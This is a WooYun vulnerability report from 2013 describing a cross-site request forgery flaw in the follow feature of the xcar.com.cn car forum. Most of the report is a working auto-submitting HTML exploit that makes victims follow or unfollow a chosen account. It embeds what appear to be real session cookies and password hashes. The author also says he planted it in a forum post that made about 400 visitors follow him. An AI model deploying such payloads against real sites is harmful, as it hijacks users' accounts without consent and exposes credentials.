当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-037915

漏洞标题：爱卡汽车网关注一处csrf

相关厂商：爱卡汽车网

漏洞作者： 小龙

提交时间：2013-09-25 15:22

修复时间：2013-09-30 15:22

公开时间：2013-09-30 15:22

漏洞类型：CSRF

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-25： 细节已通知厂商并且等待厂商处理中
2013-09-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://my.xcar.com.cn/friend/myfollow.php

详细说明：

构造poc：

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><body>
<form name="csrf" action="http://my.xcar.com.cn/ajax/ajax_friend.php" method="POST">
<input type=text name="_Xdwuv" value="524043ffa210d"></input>
<input type=text name="Xdwnewuv" value="1"></input>
<input type=text name="_Xdwstime" value="1379943728"></input>
<input type=text name="place_prid" value="30"></input>
<input type=text name="place_crid" value="648"></input>
<input type=text name="place_ip" value="116.19.63.127_1"></input>
<input type=text name="uv_firstv_refer" value="%28%243%29"></input>
<input type=text name="__utma" value="247269531.1965638494.1379943504.1379943504.1379943504.1"></input>
<input type=text name="__utmb" value="247269531.20.10.1379943504"></input>
<input type=text name="__utmc" value="247269531"></input>
<input type=text name="__utmz" value="247269531.1379943504.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)"></input>
<input type=text name="_bbs_sid" value="F1PxBa"></input>
<input type=text name="Hm_lvt_53eb54d089f7b5dd4ae2927686b183e0" value="1379943506,1379943585"></input>
<input type=text name="Hm_lpvt_53eb54d089f7b5dd4ae2927686b183e0" value="1379943795"></input>
<input type=text name="PHPSESSID" value="c2ee797dc270cb961cb896d94d76f808"></input>
<input type=text name="LDCLGFbrowser" value="924ee8f3-e77b-466d-b41c-b188594025f6"></input>
<input type=text name="bbs_auth" value="Uknluw57qkoLNyVw7sUTsg8z43jb7kvobSvfv5GKBC4JjDLz5bNYpobRLUqnbVNMDg"></input>
<input type=text name="_discuz_uid" value="6817981"></input>
<input type=text name=" _discuz_pw" value="1c242bf6327ea0a7a854fbe6a74cc978"></input>
<input type=text name="_xcar_name" value="189837992"></input>
<input type=text name="_discuz_vip" value="0"></input>
<input type=text name="_xuser_id" value="6917981"></input>
<input type=text name="_xcar_name_utf8" value="%22189837992%22"></input>
<input type=text name="__isshowad" value="no"></input>
<input type=text name="close_cz" value="1"></input>
<input type=text name="bbs_oldtopics" value="D19449633D19490288D19490327D19449843D"></input>
<input type=text name="bbs_fid559" value="1378899726"></input>
<input type=text name="xgame_ly" value="http%3A%2F%2Fmy.xcar.com.cn%2Fthread%2Findex.php%3Fcss%3D1"></input>
<input type=text name="xgame_currweb" value="http%3A%2F%2Fwww.xcar.com.cn%2Fbbs%2Fviewthread.php%3Ftid%
3D19449633"></input>
<input type=text name="bbs_fid91" value="1379943625"></input>
<input type=text name="bbs_visitedfid" value="634D91"></input>
<input type=text name="bbs_fid634" value="1379016739"></input>
<input type=text name="act" value="fol"></input>
<input type=text name="fuid" value="5005658"></input>
<input type="submit" value="submit" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>


PS：<input type=text name="fuid" value="5005658"></input>
value改成要关注的ID
取消的poc只是改一个<input type=text name="act" value="fol"></input>
我们改为：<input type=text name="act" value="qxg"></input>
look is

漏洞证明：

1.jpg

2.jpg

3.jpg

4.jpg

5.jpg

6.jpg


通用的。测试过了，
<input type=text name="place_ip" value="116.19.63.127_1"></input>
我原以为这个只是允许我一个IP可以被触发，基友电脑测试了，没限制，随便那一台电脑，IP都可以。我随便发了一个垃圾帖子访问就400，可想而知被400人关注是有多爽。。。

7.jpg


构造好长时间才构造好，不容易啊- -||

修复方案：

1：把这个删除http://www.xcar.com.cn/bbs/viewthread.php?tid=19449633
2：去乌云知识库看看修复方案，其实我也不懂 - -
3:我是来坑礼物的= 。=

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-09-30 15:22

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-22 15:21 | 左手 ( 实习白帽子 | Rank:33 漏洞数:13 | Touch<touch@bxbsec.com>)

    黑阔撒。

  2. 2013-10-22 22:04 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @左手 你在做自我介绍吗？